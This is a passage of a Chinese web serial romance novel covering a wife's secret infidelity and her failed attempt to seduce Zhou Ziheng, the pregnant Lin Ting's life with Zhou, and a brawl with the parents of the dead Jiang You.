见到提到江遇的事情,江书臣一脸悲伤,夏静姝去给江书臣冲了一杯加了糖的咖啡,递给他,“老公,你也别难过了。这就是江遇的命,还是说服四叔四婶,赶紧给江遇立个衣冠塚吧。我觉得,可以给江遇做场法事,至少让他魂归故里。” 这种事情,江书臣是不相信的,但真到了这个时候,他也害怕江遇无法魂归故里,“回头我再和四叔四婶商量一下。” 夜里,小嘉树回房间睡觉了。 夏静姝也和江书臣回了房,洗了澡。 夏静姝敷完面膜,回头看着躺在床上抱着电脑看邮件的江书臣,“老公,你对我太好了。” “老公最近都没有时间陪你。”江书臣觉得很内疚。 江遇去世了,林江医药的所有事情都压在他的身上,林叔又只顾着绞尽脑汁求小听原谅这件事情,更没心思顾到林江医药。 他把自己一个人,当成三个人来忙碌着。 是真的抽不出一滴点的时间来。 夏静姝摇摇头说没事,“老公,我理解你,江遇走了,林叔又不理正事,所有的事情都压在你身上,还要面对一堆的老股东,你压力也大。” “你先睡,我再忙会儿。” 江书臣揉了揉夏静姝的脑袋。 夏静姝撕掉面膜后,洗了个澡,去吻了吻江书臣的脸蛋,便躺下去睡觉了。 江书臣怕吵到她睡觉,抱着电脑坐到靠窗的沙发上,过了良久夏静姝都没有睡意,她忽然抬起头来,借着朦胧的地灯,无比内疚地问,“老公,如果我要是做了什么对不起你的事情,你会原谅我吗?” “你怎么问这么傻的问题。我们如此恩爱,你怎么可能做对不起我的事情?”江书臣朝夏静姝温柔地望过来。 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花更新速度全网最快。 第190章 想睡周自衡 床上的夏静姝一脸心事重重地坐起来,与夜色中满脸温柔的江书臣四目相对。 他身后的窗帘滤去了外面的小区夜色,只剩下丝丝温柔的光。 那样柔软的光线,将江书臣的五官线条衬托得更加温柔,又将他双眸里的目光也衬托得更加溺宠。 夏静姝无比眷恋地望着这张儒雅温柔的俊脸。 这么温柔帅气的男人,脾气好,对她一心一意宠爱有加,又对她如此信任,她是怎么舍得伤害这样一个如此完美的男人的? 想到这些年来江书臣对她的疼爱,夏静姝眼里的悔意在夜色中散开,胸口像是扎了冰碴子似的,硌得她胸口全是自责与痛楚。 她朝江书臣伸了伸手,撒娇道,“老公,我要抱抱!” 江书臣放下搁在膝盖上的电脑。 起身时,英俊儒雅的身影几大步来到床边,坐下来,将夏静姝轻轻地搂进怀里: “老婆,你今天是遇到什么事了,情绪好像不太好?” “在外面受欺负了?” “谁敢欺负你,告诉老公,我帮你收拾他。” 夏静姝的脑海里,闪过许多回忆的画面,全是江书臣对她的宠爱与呵护。 有江书臣给她撑腰,谁敢欺负她? 在上流圈子里,但凡提到她夏静姝的名字,所有人都知道她夏静姝有一个宠她如命,又有权有势有钱有背景的绝世好老公,就连她的娘家也得益于有江书臣的庇佑,在商场上混得顺风顺水。 这么好的老公,她为什么要背着他做那些龌龊的事情? 脑袋深深地扎进江书臣的怀抱里,悔恨的泪水浸在他的衣襟上。 “怎么了?”江书臣宽厚的掌心,轻轻地抚摸着她纤细颤抖的背脊,“跟老公说说。” “没有人欺负我。”她在江书臣的怀抱里,摇了摇脑袋,“是我突然觉得,我有一个很好的老公,我很幸福!” 她想,她是不是应该把自己背着他的事情,告诉他,然后求得他的原谅? 如果她告诉了江书臣,江书臣一定会原谅她吧。 因为结婚的时候他说过,不管她做错了什么事情,他都会原谅她,给她改正的机会,包括她出轨这件事情。 可是,话到嘴边,她还是说不出口。 她想让江书臣知道,她一直都是他心中那个完美无瑕的好妻子。 就让这个秘密,永远烂在肚子里吧,今晚和那个健身教练的约会,将会是她最后一次出轨,她将回归家庭,一心一意放在江书臣身上。 晚上才刚刚和那个健身教练做了两回,夏静姝却丝毫不觉得累,缠上江书臣的脖颈。 温软的唇,来到江书臣的唇边,“老公,我们好久都没有那个了,抽屉里的套套买回来,就一个也没有用。” 夏静珠的手伸到江书臣的腰腹部,就要往下,江书臣轻轻地握住,“静姝,抱歉,现在不行。我必须要把手上的事情处理了。” “老公,不要这么扫兴嘛!” 她柔软的手,执意要往下,去脱江书臣的裤子。 江书臣却握得更紧,又带着歉意道: “静姝,你也知道林叔根本不管集团的事情,江遇又发生了这样的事情。在他抽走集团2000亿的现金流时,集团就遇到了一些危机,所有的事情都要靠我处理……” “好吧。”夏静姝的手缩回来,满脸扫兴和委屈,“反正在你心里,集团比我还重要。” “不是的静姝。” “好啦,你去忙吧。我知道,江遇死后,集团的事情确实都要靠你。我去给你倒杯牛奶。” 说着,夏静姝下床去倒了杯热牛奶。 这时的江书臣,抱着电脑,正准备走出卧室,“不打扰你睡觉,我去书房。” “把牛奶喝了!”夏静姝把杯子递过去。 等江书臣接过杯子时,她不由抱怨了一句,“都怪林听。要不是她多事,江遇就不会死掉,你也不会忙得像停不下来的陀螺一样。” 江书臣叹了一口气,“这事怎么能怪小听呢?是江遇执意要把小听和柚子囚禁起来。” 夏静姝没好气地抱怨了几句: “不怪她怪谁,江遇虽然和林薇薇好过,但是他心里一直有林听,从来没有碰过林薇薇,一直为林听守身如玉。” “江遇都知道自己错了,林听为什么不能原谅他?” “再说了,就算是为了小柚子,她也应该选择大度一点原方江遇,而不是和周自衡在一起。” 林听也不知道是有哪点好,都生过孩子了,周自衡还那般稀罕她。 夏静姝想起上一次,她故意在周自衡面前假装摔倒,周自衡不但不扶她,还把她冷冷挖苦了一通,心里就特别不服气。 周自衡这种又禁欲,又铁血刚硬的男人,为什么不能败倒在她的石榴裙下,非要喜欢林听那样的女人? 江书臣反驳道,“静姝,小听有选择的权利。你没经历过她的人生,不应该这样评判她。” 夏静姝不高兴了,“是不是连你也要向着林听,本来就是她的错,才导致江遇死在海上。她要是不那么铁石心肠,江遇能去国外买那么多岛屿,把她掳走吗?你要再护着林听,我不高兴了。到底我是你老婆,还是林听是你老婆?” 本小章还未完,请点击下一页继续阅读后面精彩内容!“静姝,这怎么能混为一谈?” “不想跟你说,你今晚睡书房吧。” 夏静姝把江书臣推出卧室,他手里的牛奶溅了出来,夏静姝生气地夺回来,“牛奶也别喝了。” 碰! 卧室门被夏静姝用力摔过去。 门外的江书臣,也是真的有些生气了,“静姝,在小听和江遇谁对谁错的问题上,我不认可你的观点。江遇太偏执了,小听没有任何错。今晚我忙完了就睡在书房,你也早点睡。” 嗒嗒嗒……门外传来江书臣越走越远的脚步声。 夏静姝端着手里的牛奶杯,手指用力攥紧。 江书臣向来都是向着她,依着她,可是每次到了林听的事情上,他总会惹她生气。 真的不回来哄一哄她吗? 时间过了一分钟,两分钟……五分钟,门外依然没有动静,夏静姝气得将牛奶杯摔碎在地毯上。 白白的牛奶汁贱在深色的地毯上。 夏静姝一阵抓狂:该死在海盗手里的人应该是林听,而不是江遇。 溅起来的玻璃碎掉,划破了夏静姝的手,可是气愤中的她丝毫没有察觉到,她又冲出了卧室,来到江书臣的书房。 此时的江书臣,已经静下了心,全身心地投入到了工作当中。 他回复了一个集团高层的邮件,正要点开下一封未读邮件,夏静姝突然冲进来,无比气愤地关掉了他的电脑。 “江书臣,你把话给我说清楚,你为什么要向着林听?难不成你也和周自衡一样,喜欢上了自己兄弟睡过的女人?” 江书臣将被合上的电脑,重新打开,“我不想和你吵,你出去,别打扰我工作。” 刚刚打开的电脑,被夏静姝一把夺过去,啪一声摔在地上,“工作,工作,整天只知道工作。你知不知道,你因为工作有多忽略我?” 就是因为江书臣只顾着工作,在那方面对她没有尽到应尽的义务,所以她才会觉得空虚寂寞。 所以才会去外面找男人。 原本,她应该是一个忠于婚姻,忠于丈夫的好女人,她不可能会出轨。 都是因为江书臣把工作看得太重要,她才出寂寞出轨。 巴掌大的脸蛋上,落下委屈痛苦的泪水,“江书臣,都是因为你,我才这么痛苦。” 江书臣没有明白夏静姝所指为何。 他以为,她是指林听和江遇的事情,他道,“静姝,每个人都有自己的立场和观点。既然你执意认为小听是罪魁祸首,认为她罪该万死,我也不会再左右你的思想。但是,你也别左右我的思想,我有我自己评判是非对错的标准。” 就算江遇再是他从小到大的兄弟,就算这一次为了得到小听的原谅,江遇已经付出了生命的代价,但江书臣依然不会站队江遇。 江遇的偏执导致自己命丧黄泉,这怪不了任何人。 他看着被夏静姝砸得稀巴烂的电脑,皱着眉头说,“如果你还顾及着我们的夫妻情分,江遇和小听的事情,你就别再去四叔和四婶那里煽风点火。” 夏静姝哭道,“你什么意思?” 江书臣把被砸烂的电脑拿起来,电脑里的文件他都有备份,这电脑摔烂了就摔烂了吧。 不过今天晚上,他是没办法在家里办公了,他抱着电脑,从夏静姝的身边擦肩而过,“字面意思。” 夏静姝:“江书臣,你今天要是不把话说清楚,我们就离婚,这日子不过了。” 江书臣已经走到了书房门口,手拧着门把手,又停下来,“如果你非要离婚,等你冷静下来再来找我。” “江书臣,你什么意思,难道你真的要跟我离婚?” “……”江书臣没有回答。 他打开门。 门外,江嘉树光着小脚丫,站在那里,眼神失落又难过地望着他,“爸爸,你和妈妈吵架了吗?” 江书臣蹲下来,揉了揉儿子的脑袋,“抱歉,是爸爸做得不够好,别害怕。” 他从来不想在儿子面前和夏静姝吵架,这么些年,也几乎没吵过架,但因为林听的事情,夏静姝已经跟他吵过好几回了。 并且每一次吵架,夏静姝都要提离婚。 她怎么可以随随便便,就把离婚这两个字,挂在嘴边。 他娶她回来,是要宠她一辈子的,他从来没有想过要离婚。 江嘉树又问,“爸爸,你会和妈妈离婚吗?” “不会!”他说得无比笃定,江嘉树却欲言又止,“爸爸,其实……” 说到这里,江嘉树停下来,想了想,问,“爸爸,你是不是还有很多工作要忙?” 江书臣嗯了一声,江嘉树又说,“你去忙吧,我知道阿遇叔叔离开后,你身上肩负了太多的压力。妈妈的情绪,我来安抚,你去公司吧。” “嘉树长大了。” “我本来就是男子汉呀。” “好,你帮爸爸哄一哄妈妈,爸爸今晚住公司,妈妈情绪稳定了,你再打电话给我。” “好。” “谢谢儿子。” 江书臣吻了吻江嘉树的额头,这才抱着摔坏的电脑,起身离开。 本小章还未完,请点击下一页继续阅读后面精彩内容!夏静姝追出来,想要拦住他,“江书臣,你把话给我说清楚。周自衡和江遇因为林听反目成仇,你是不是也要因为林听和我反目成仇。难不成你也喜欢上了林听?” “妈妈,你能不能冷静一点?”江嘉树拉住夏静姝的手。 夏静姝看着江书臣走远,回头瞪着江嘉树,“你放手。” 江嘉树劝道,“妈妈,你能不能理解一下爸爸的不容易?爸爸在外面已经很辛苦了。” 夏静姝瞪眼:“你跟谁一伙的,是我生了你,还是你爸生了你?” 江嘉树坚持道,“我挺我爸,他说得对。小听阿姨和阿遇叔叔的事情上,不能怪小听阿姨,是阿遇叔叔太偏执了。” “你怎么跟你爸穿一条裤子?” “妈妈,明天我去找柚子妹妹玩的时候,你不许对小听阿姨评头论足,否则以后我就不理你了。” “你也向着林听?” “你答应我,否则明天我就不去柚子妹妹那里了。” 江嘉树可不愿意让自己的妈妈,再去给柚子妹妹和小听阿姨添堵。 夏静姝是知道自己儿子的性格的,要是她不答应,他可能真的宁愿不去找小伙伴玩。 但是夏静姝想接触周自衡,唯一的途径只能是通过儿子江嘉树,除此以外她根本连接近周自衡的机会也没有,又怎么可能拿下这个男人? 天底下,只要是她夏静姝想要得到的东西,得到的男人,就没有不能得手的。 周自衡那样出色的男人,她一定尝一尝和他滚床单的滋味。 于是,夏静姝只好在儿子面前低了头,“行,行,行,妈妈答应你,明天只带你去找柚子妹妹玩,一个字也不乱说。” 江嘉树昂起脑袋来,看着自己美丽漂亮的妈妈,夸奖道,“妈妈,你不生气的样子最漂亮。” “臭小子!” “还有,妈妈,如果明天到了柚子妹妹家,你要是说话不算数,说了小听阿姨的任何坏话,以后你就没我这个儿子了。” “嘿,臭小子,威胁我?” “我是认真的。” …… 翌日,君悦府。 江嘉树来到别墅门口,不禁昂起脑袋来,叮咛着夏静姝,“妈妈,记得管好你的嘴。” “知道了。”夏静姝又不傻,周自衡这样的男人比较难搞,一次两次接近他的机会,是没办法睡到他的床上去的。 所以她需要更多的机会接近周自衡。 她怎么可能得罪儿子,失去以后唯一接近周自衡的机会? 只要小柚子喜欢和他们家嘉树一起玩,她就可以经常接近周自衡。 门铃响了以后,夏静姝和江嘉树被洛婶带了进去。 进了客厅,夏静姝的目光开始搜寻着周自衡的身影…… 喜欢心跳停止时,他的婚礼在放烟花请大家收藏:()心跳停止时,他的婚礼在放烟花更新速度全网最快。 第191章 那是一个秘密 客厅里,小柚子和落落姐姐两人坐在地毯上。 毯子上面放了很多玩具。 旁边还有一个刚刚会走路的盼盼,和两个姐姐一起抢着积木。 见到江嘉树进来了,小柚子和落落同时起身,跑到江嘉树的面前,一起齐刷刷地喊了一声夏阿姨,然后一左一右地拉着江嘉树往里走。 “嘉树哥哥,你终于来了,我们一起去玩捉迷藏好不好?” 说话的,是小柚子。 夏静姝看着小柚子的背影。 说实在的,她不太喜欢这个小女孩。 之前虽然觉得小柚子命运多舛,很是可怜,但是这一次江遇的死让夏静姝有了另外的看法。 这小柚子就是个克星,有了她的存在,林听先是坐牢后是患癌,现在又轮到江遇突然横死。 小柚子就是个专克爹妈的扫把星。 要不是嘉树和小柚子玩的时候,能让她接近有接近周自衡的机会,夏静姝都不愿意让自己的儿子跟这样的扫把星小孩子玩。 在客厅里找不到周自衡的身影,夏静姝特意问了一句,“洛婶,怎么没有看到周自衡?” 洛婶坐到了地毯上,给盼盼递着积,小盼盼专注于手中的玩具,显然没有发现两个姐姐早已经不见了。 听到夏静姝的问话,洛婶觉得好奇怪。 这江太太是林小姐从小到大的闺蜜,刚一进家门,怎么不问候林小姐,却只问周先生? 她皱着眉头,没有回答,夏静姝赶紧尴尬一笑,“我的意思是说,怎么没有看见小听和周自衡?” 这时,洛叔泡来了一壶茶,端到夏静姝的面前,“江太太,喝茶。林小姐还没有起床,我家先生正在和他未来的岳母,在厨房里准备吃的。” 夏静姝:“未来岳母?” 洛叔答,“就是林小姐的母亲,张女士。” 夏静姝若有所思的点点哦,“洛叔,我知道了,你去忙你的吧,我去厨房看看,有没有什么能帮忙的。” 她走向厨房时,心里不由嘀咕:这个林听,自己有亲生父亲不认,却非要认宋律风的岳父岳母当父母,真是个没良心的。 夏静姝走后,洛婶看向洛叔,“老洛,你有没有觉得这个夏静姝怪怪的。她进门不找林小姐,却第一个先问起周先生,她不会是想打周先生的主意吧?” 洛叔皱眉思索着,“应该不会吧。听说她和她老公和睦恩爱,她老公对她分般宠爱。那些豪门太太,都很羡慕她,她不可能背着江总打别的男人的主意。” …… 厨房里。 张淑琴搅着砂锅里的汤,问,“阿衡,这锅玉米须红豆排骨汤,你是熬给小听喝的?” 周自衡从烤箱里端出一盘低糖的蛋糕,那是他亲手烤的,只因昨晚林听说想吃蓝莓味的蛋糕,“小听怀孕后,双腿有些浮肿。红豆玉米须汤,可以消除浮肿。” “阿衡啊,你真是细心。那会儿落落和盼盼妈妈怀孕腿脚浮肿的时候,律风都没有考虑到这么多。” 想到自己逝去的女儿,张淑琴难眠悲痛。 所以,她把所有的寄托,都放在了几个孩子和林听的身上。 周自衡放下刚烤好的蛋糕胚胎,见到她一脸哀伤,不由安慰了一句,“妈,小听也是你的女儿,你就把我当你的亲女婿,有什么事尽管吩咐我去做。以后我们一家人的日子会越过越好。” 从小到大,周自衡没有感受到的父爱和母爱,在张淑琴和周国立这里,完全感受到了。 他们没有血缘关系,却比至亲更让人温暖。 张淑琴擦了擦泪,“我知道,你和小听都是好孩子。阿衡啊,妈多嘴问一句,小听被江遇带去国外之前,你们也没领证,准备什么时候去领证?” 周自衡把蛋糕胚切成了正方形放到转盘上,准备了蓝莓酱和无糖奶油,“我也想马上去领证。等小听缓过来,身子好点再出门。” “行。” 夏静姝听到两人的对话,心里酸溜溜的。 看来周自衡是真心真意喜欢林听。 可是凭什么? 江遇喜欢她,周自衡也喜欢她,连她的儿子江嘉树丈夫江书臣也要向着林听说话。 夏静姝的心里是嫉妒的。 她就不信,她不能搞定周自衡,现在林听挺着大肚子,周自衡肯定憋坏了,正是她下手的好机会。 她优雅从容地走进去,“淑琴阿姨,周自衡,你们都在忙呢。” 周自衡自顾自地做着手中的蓝莓味蛋糕,懒得理她,让她倍加尴尬,倒是张淑琴比较热情,答了她一句。 她又说,“淑琴阿姨,你出去看看盼盼吧,我来帮忙。” 张淑琴在旁边串着烧烤串,因为孩子们说中午想吃烧烤,“不用了,夏小姐,你去外面坐坐吧,中午和孩子们一起吃烤肉。不知道夏小姐有什么忌口的?” 夏静姝的目光,一直落在周自衡的身上,“我都可以,不挑食。” 她想和周自衡单独相处,但是这个张淑琴就是不肯出去,好讨厌呀。 “呜哇哇……”外面传来盼盼的哭声,张淑琴这才放下手中串了一半的烧烤串,擦了擦手,赶紧冲出去,“阿衡,我去看看盼盼怎么了。” 夏静姝一阵窃喜! 终于有机会了。 她一步步走近周自衡。 岛台前的男人,指尖捏着银质的裱花袋,奶油在蛋糕胚上划了精准的螺旋。 他动作优雅得如同是在雕琢着艺术品。 那只握着裱花袋的手,骨节分明,手臂上的袖口微微挽起,露出一根根浮起的青筋,与紧实的肌肉线条。 光是看到这只充满男性力量的手,夏静姝便有了想要和这个男人在床上大战一场的冲动。 她身子发热,心尖一阵滚烫。 早已把昨晚发誓,要改邪归正,一心一意忠于江书臣的誓言,给抛之脑后。 她屏住了呼吸,娇滴滴的身子小心翼翼地靠近周自衡,“周自衡,你在做什么蛋糕呢?” 这声音,又软又甜。 周自衡却是听得有些想吐。 不过他做着蛋糕的动作没有停。 眉峰也没有动一下。 黑眸里更是没有半分温度。 “离我远一点。” 今天他是答应了柚子,让要她和嘉树哥哥一起玩。 否则他不会让这个女人进门。 这没有半分温度的声音,让夏静姝像是被浇了一盆冷水,发热的那颗心,顿时冷却下来。 这时,周自衡冷冷抬了抬眼皮。 落在夏静姝身上的目光,像是冰碴子一样,又冷又硬,让夏静姝突然有些尴尬,“我,我只是看看,有没有什么要帮忙的。” 夏静姝今天穿了一件很有韵味的长袖旗袍。 她知道周自衡不同于别的男人那样容易搞定,所以今天把自己打扮得优雅得体。 可是就是这样一身充满了东方古典韵味的旗袍打扮,在周自衡看来,却像是旧时代的青楼女子一样,充满了糜烂的气息。 这女人的肮脏心思,周自衡早就看穿了。 他垂眸后,继续做着手中的蛋糕,眼眸未动,冷冷道,“收起你那龌龊的心思,我对你不会有半点兴趣。” “……”这就让夏静姝尴尬了,她还没有开始使出自己的本领来勾引周自衡,这就被拒绝了? “周自衡,你说,说,说什么呢,我听不懂。” 最近他的心思都在林听和小柚子身上,不想理会这个肮脏的女人,否则他早出手了。 明人不说暗话,他垂眸于手中的裱了一半奶油的蛋糕,直接冷冷道,“江嘉树要是知道,他有一个到处勾引男人的妈,他会怎么看你?” 夏静姝怒了,“……周自衡,你……你,你别血口喷人。谁勾引你了?” 周自衡头也不抬,听着这女人恼羞成怒中,又带着哭腔的声音,他丝毫也不怜惜,声音反而愈发的冷,“你这种肮脏的女人,当初江书臣是怎么看上你的?” 夏静姝哭道,“你怎么可以这么侮辱人?” 周自衡依旧眼也不抬一下,冷冷道,“江嘉树留在这里玩,等他玩累了,我会将他安全地送回怡和别苑,你可以走了。” “周自衡,你怎么可以如此目中无人?” 一身优雅旗袍装扮的夏静姝,不再优雅。 她那张漂亮的脸蛋,只剩下屈辱、委屈与充满愤怒的泪水。 周自衡看也不看她一眼,继续做着手中的蛋糕,“不送!” 闻言,饶是夏静姝脸皮再厚,也没有继续呆下去的借口。 带着一腔的屈辱,她哭着跑出去。 张淑琴抱着盼盼进厨房时,见夏静姝哭着冲出去,不由脑袋一懵地问了一句,“阿衡,发生什么事情了?” 周自衡抬眸,绅士礼貌道,“妈,没什么,刚刚有只苍蝇,不过被我赶走了。” “我是说夏小姐,她怎么哭着跑出去?” “不清楚。” 张淑琴嘀咕了一句,“不会是接到什么伤心的电话了,她娘家出事了?” “不知道,我没多问。”说话间,周自衡已经做好了一个蓝莓味的水果蛋糕。 他取下围在身上的围裙,绅士礼貌道,“妈,我上楼去看看小听。” “嗯,去吧。” 周自衡上了楼,推开门时,瞧见林听扶着卫生间的门,皱着眉头“嘶”了一声,吓得他立即跑过去,“小听,怎么了?” “嘶!”林听一手扶着门,一手抱着肚子,“小宝今天好调皮,我起床后她一直踢我。” 周自衡扶着她从卫生间门口,走到床尾的沙发上坐下来。 随即单膝跪在地毯上,轻轻地抚着林听的肚子。 这里面住着的小生命,是他周自衡的亲骨肉。 他和林听只有过一个晚上的夫妻之实,林听却一晚就怀上了他的孩子,这不仅是他和林听之间的缘分,更是他和孩子之间深深的缘分。 并且,林听肚子里怀的是个女孩儿。 周自衡最喜欢女孩儿了。 他的声音温柔如轻风,“小宝,你把妈妈踢疼了。你要是想翻身,想伸出你的小脚脚和小手手,动作轻一点,慢一点,不然妈妈会很辛苦的。” 虽是做着胎教,可是周自衡的语声全是溺宠。 肚子里的小家伙,可是爸爸的小公主呀。 他怎么可能舍得凶她? 说着,他的声音又放软了一些,“要乖,要听话哦,否则等你出生了,爸爸打你小屁屁。” “周自衡,小宝果然不踢我了。”林听觉得好神奇。 周自衡把脸颊贴到林听的肚子上,刚毅的眉眼里,却全是温柔满足的笑意,“小听,等小宝出生了,我们就叫她林唯一吧。” “为什么要姓林?”林听看着贴在自己肚子上,一双薄唇弯出柔软弧度的周自衡,问道。 周自衡抬起头来看着她,平日里冷硬的眉眼彻底柔化了,“柚子也跟着你姓林,小宝要是跟着我姓周,就不像是亲姐妹了。如果都跟着你姓,以后别人也就都知道,我周自衡的女儿是林听生的。” 他补充道,“刚好,柚子叫林瑾一。小宝就叫林唯一。” 唯一,也代表着林听是他周自衡唯一的女人。 林听又怎么可能不知道周自衡给小宝娶这个名字的意义。 她忽然想起江遇曾经给柚子娶名为林瑾一时,取自‘怀瑾握渝一心一意’,也是说要对她一心一意。 转眼间,江遇已经葬身于茫茫大海。 死后连个尸首也没有留下。 不是她怀念她和江遇曾经的过去。 她根本没有丝毫的怀念,甚至希望自己从来没有认识过江遇,第一个遇见的、喜欢的的男人从一开始就是周自衡。 只有周自衡。 明明那样讨厌江遇,恨不得把他从记忆里全部抹去。 可是想起这个王八蛋男人,心尖却像是有冰碴子碾过一样,扎得她全身都疼。 她捧起周自衡的脸蛋,眼里浸满了泪水,“周自衡,既然你从小就收藏着我的耳坠,从小就喜欢我,为什么当初不主动一些。如果你主动一些,说不定我们就能……” 这个问题,洛高也问过周自衡。 洛高见过周自衡收藏的林听的证件照,知道他一直收藏着的那对耳坠的故事。 但是洛高不明白,像周自衡这样目的明确,一旦想要得到哪怕上天入地也要抢到手的性格,为什么早一点追求林听。 洛高和周自衡,既是主朴,也是兄弟。 这个问题,周自衡只告诉了洛高。 那是一个不能告诉任何人的秘密,哪怕是林听,周自衡也不知道要如何跟她说起…… 第192章 万一你反悔了呢? 江遇是林听这辈子最讨厌的男人。 讨厌到哪怕他已经死了,她都不愿意回忆起江遇的任何事情,可是仅仅是提到小柚子林瑾一的名字,脑海里自然闪过江遇自以为深情的容貌来。 这个男人大可不必以如此残忍的方式,留在她的记忆里。 他的死去,并没有让她原谅他多少,反而让她更加痛苦。 “周自衡,如果人生可以重来一次,我愿意回到儿时。” “如果真的重来一次,我一定不会再每天追在江遇的屁股后面,而是从小就盯着你,不让别的女孩子靠近你。” 那样,就可以是圆满的结局了。 周自衡还是没有告诉林听,他当初为什么没有早一点追求林听的原因。 提到这件事情,他的眼里闪过一丝微不可察的悲伤。 却只是一闪而过。 很快恢复了他的温柔与溺宠。 伸手时,轻轻地抚了抚林听的脸,“好!” 随即,又温柔道,“柚子和落落她们中午想吃烧烤,食材都准备得差不多了。不过你得先起来吃早餐,我炖了消除水肿的汤,还给你做了你想吃的蓝莓味蛋糕,走吧,下楼了。” “好!”林听强迫自己不去想江遇死去这件事情。 不想自己再沉浸在过去的伤痛里。 她刚刚调整好心情,和周自衡一起下楼时,见张淑琴和洛婶抱着盼盼站在客厅的落地窗前,身边还跟着柚子、落落和嘉树。 张淑琴抱着盼盼,问身侧的人,“洛婶,外面那两个和林振宇林建国父子吵架的人,是谁啊?” 洛婶摇了摇头,一脸茫然,“我也不知道。” 柚子问,“他们在吵什么,吵得好凶的样子。” 柚子身侧的江嘉树,有些犹豫,“要不要告诉他们,那两个和林爷爷林叔叔吵架的人,其实是柚子妹妹的爷爷奶奶。他们今天是冲着小听阿姨和柚子来的。” 这两个老人好讨厌。 竟然把江遇叔叔的死,全都怪罪在小听阿姨和柚子妹妹的身上。 江嘉树犹豫一番,还是决定先不说了,否则影响柚子妹妹的心情。 他准备去找阿衡叔叔来解决这件事情。 江嘉树刚一转身,便瞧着周自衡牵着林听下了楼,他乖巧地喊了一声,“阿衡叔叔,小听阿姨。” 小嘉树机灵的目光,落在林听隆起的肚子上,刚要开口的话,又咽了回去 别墅的铁门外。 林振宇一把扯掉江母背在肩上的包包,愤怒地甩在地上,“你凭什么责怪我家小听?江遇死在海上,是他咎由自取。他要是不把我妹妹悄悄带去藏起来,他会死吗?江遇拐走我妹妹,我还没有找你们算账就好了,你们竟然敢跑过来找我妹妹麻烦?” 额头青筋直冒的林振宇,扯着嗓子,凶巴巴地警告道,“四叔四婶,你们今天要是敢在这里闹事,别怪我不给你们二位长辈面子。” 江母看着被林振宇踩在脚下的肩包,抬头挺胸,毫不示软道,“我今天就不走了,难不成你还想打我不成?” 林振宇握紧拳头。 指节紧紧一攥。 妹妹林听现在怀着孕,肚子那么大了,可经不起任何折腾。 所以昨晚听江书臣那样一说,一大早,林振宇就把林建国叫来了君悦府,目的就是为了保护林听。 旁边的林建国,也是一脸铁青,“老江,你儿子的死怪不到我女儿头上来。如果你们现在离开,不再找我女儿麻烦,我们两家还是世交,否则别怪我翻脸不认人。” 江遇的父亲没说话,江遇的母亲冲上来,哭着叫嚣道,“今天我必须替我儿子,好好教训教训林听这个狐狸精,要不是她……” 啪! 重重的巴掌声,打断了江母未说话的话。 那一巴掌,是林建国扇出去的。 他的巴掌,扇过骗了他一辈子的苏秀珍和林薇薇母女俩,江母是他这辈子扇的第三个女人。 这三个人,都是伤害他女儿的恶人。 巴掌声响后,江母完全没有反应过来,她捂着疼痛的脸,愣了几秒钟,突然间像个疯子一样冲上去,又是抓掐林建国的脸,又是扯他的头发。 林建国也完全没反应过来。 短短的头发,被这个死娘们紧紧揪着,“放手!” 眼见老婆被人打了,江父愤怒地冲上去,“林建国,你还算是男人吗,你敢打女人。” 眼见着自己的父亲被这老两口围攻,林振宇也上前帮忙。 四个人突然间厮打在一起。 场面极度混乱。 路过的业主停下脚步,纷纷围观。 别墅里。 林听和周自衡也目睹着这一切。 见到自己的父亲和哥哥和对方扭打在一起,林听心里没有一丝波澜。 落地窗的隔音效果很好。 外面的一切声音都听不见。 可她大概知道,林建国和林振宇父子俩,为什么会和江遇父母打起来。 江遇的死,江遇父母大概是都怪罪在了她和柚子的身上,这是来找她算账了。 没一会儿,洛高便带着人,把外面打架的四个人,全部“请”走了。 被“请”走的江遇父母二人,是被安保人员扔出小区的,“江先生,江夫人,你们没有机会靠近林小姐的。如果你们下次还敢再来,会比这一次更狼狈。” 被丢在地上的江母,揉了揉老腰,“你把林听叫出来。她害死了我儿子,她凭什么躲着不敢见人?” “你们干什么,放开我。”林振宇也被洛高的人,给丢出了小区。 几个踉跄,林振宇差点摔倒。 他惯性使然地往前冲了几步,又往回走,“洛高,我是来保护我妹妹的,你把我丢出来干什么?” 洛高冷冷地看着林振宇父子俩,“已经对你们很客气了。林小姐不需要你们保护,她也不希望看到你们,请回吧。” 有他家家主在,还轮不到这两父子来保护林小姐。 回去的路上,洛高给周自衡打了一个电话。 此时,周自衡正陪着林听在吃早餐。 他和孩子们早吃过了,这会儿只是陪在林听身边,静静地看着她。 洛高在电话里说,“家主,这四个人已经解决了。您放心,他们没有接近林小姐的机会。” “嗯。”周自衡淡淡地嗯了一声。 洛高又说,“家主,刚刚我看到杰西了。那个保镖果然一直默默在暗中保护林小姐的安危。” 这是江遇死前的吩咐好的。 杰西收了江遇的钱,不可能不照办。 他们那个组织,是世界上出了名的忠肝义胆。 想到江遇的死,周自衡握着手机的手,用力攥了攥,“知道了。” 这个狗男人,既然死之前还一心担忧着林听的安危,又为什么要违背林听的意愿把她带去那么远的地方给藏起来。 如果江遇不这般偏执,就根本不会丢了命。 这个男人,死了也不让人安生。 真是个自以为是的男人。 林听见他放下了手机,将他眉眼里那微不可察的愁容,尽收眼底,“江遇的父母是来找我的吧?江遇的死,他们肯定在怪我。” 林听一直知道,江遇的父母其实不怎么待见她。 从很久以前,她去景德镇,江遇为了保护她,被流浪狗撕咬的那件事情起,这老两口就一直不怎么喜欢她。 她偷偷听到过,老两口说她是狐狸精,把江遇的魂给迷住了。 江遇只听她的,都不听他们老两口的。 当初要不是因为她是林家千金,两家联姻有利于林江医药的发展,这老两口指不定要怎么欺负她。 现在江遇死了,全怪到她头上来。 颠倒黑白! 江遇的死,怎么可以怪她,明明她才是受害者。 气愤! “有我呢。”周自衡温暖宽厚的大掌,落在她的手背上。 白皙细腻的手掌,被他的大掌温暖地包裹着。 “这两个为老不尊的想找你撒气,他们也没有机会接近你。” “我不会让他们欺负你的。” 他比任何人都清楚,林听怀着身孕,经不起一点折腾。 这大半年她被江遇藏在一个无人知晓的小岛上,她的心情一定很痛苦,再不能再受别的刺激。 江家的人,一个比一个恶心。 怕她心情不好,周自衡转移了话题,“蛋糕好吃吗?” “嗯。”林听点点头。 周自衡亲自舀了一勺蛋糕,喂到她的嘴边,“跟你商量一件事。” 她吃了蛋糕,笑盈盈地问,“什么事?” 周自衡放下了勺子,从裤袋里掏出一个精美的首饰盒子,又将盒子打开,从里面取出一枚戒指来。 那枚戒指,林听看着十分熟悉。 这不是去年十月份,江遇把她和柚子掳走后,去外港口的路上,从车上扔出去的戒指吗? 